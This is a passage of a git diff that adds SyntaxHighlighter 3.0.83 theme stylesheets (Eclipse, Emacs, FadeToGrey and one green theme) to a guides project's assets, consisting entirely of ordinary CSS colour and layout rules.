+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #233729 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #497958 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #41a83e !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #41a83e !important;
+  color: #0a2b1d !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #96dd3b !important;
+  background: black !important;
+  border: 1px solid #41a83e !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #41a83e !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #ffe862 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #336442 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #9df39f !important;
+}
+.syntaxhighlighter .keyword {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #96dd3b !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #eb939a !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #edef7d !important;
+}
+
+.syntaxhighlighter .comments {
+  font-style: italic !important;
+}
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
new file mode 100644
index 0000000..a45de9f
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
@@ -0,0 +1,339 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #d4d0c8 !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3f5fbf !important;
+  background: white !important;
+  border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #a0a0a0 !important;
+  background: #d4d0c8 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #2a00ff !important;
+}
+.syntaxhighlighter .keyword {
+  color: #7f0055 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #7f0055 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .xml .keyword {
+  color: #3f7f7f !important;
+  font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+  color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+  font-style: italic !important;
+  color: #2a00ff !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
new file mode 100644
index 0000000..706c77a
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2a3133 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #990000 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #990000 !important;
+  color: black !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #ebdb8d !important;
+  background: black !important;
+  border: 1px solid #990000 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #990000 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .keyword {
+  color: aqua !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #aec4de !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #81cef9 !important;
+}
+.syntaxhighlighter .constants {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: aqua !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #aec4de !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
new file mode 100644
index 0000000..6101eba
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
@@ -0,0 +1,328 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2c2c29 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: white !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #3185b9 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #3185b9 !important;
+  color: #121212 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3185b9 !important;
+  background: black !important;
+  border: 1px solid #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #3185b9 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #96daff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: white !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #696854 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #e3e658 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #898989 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #aaaaaa !important;
+}
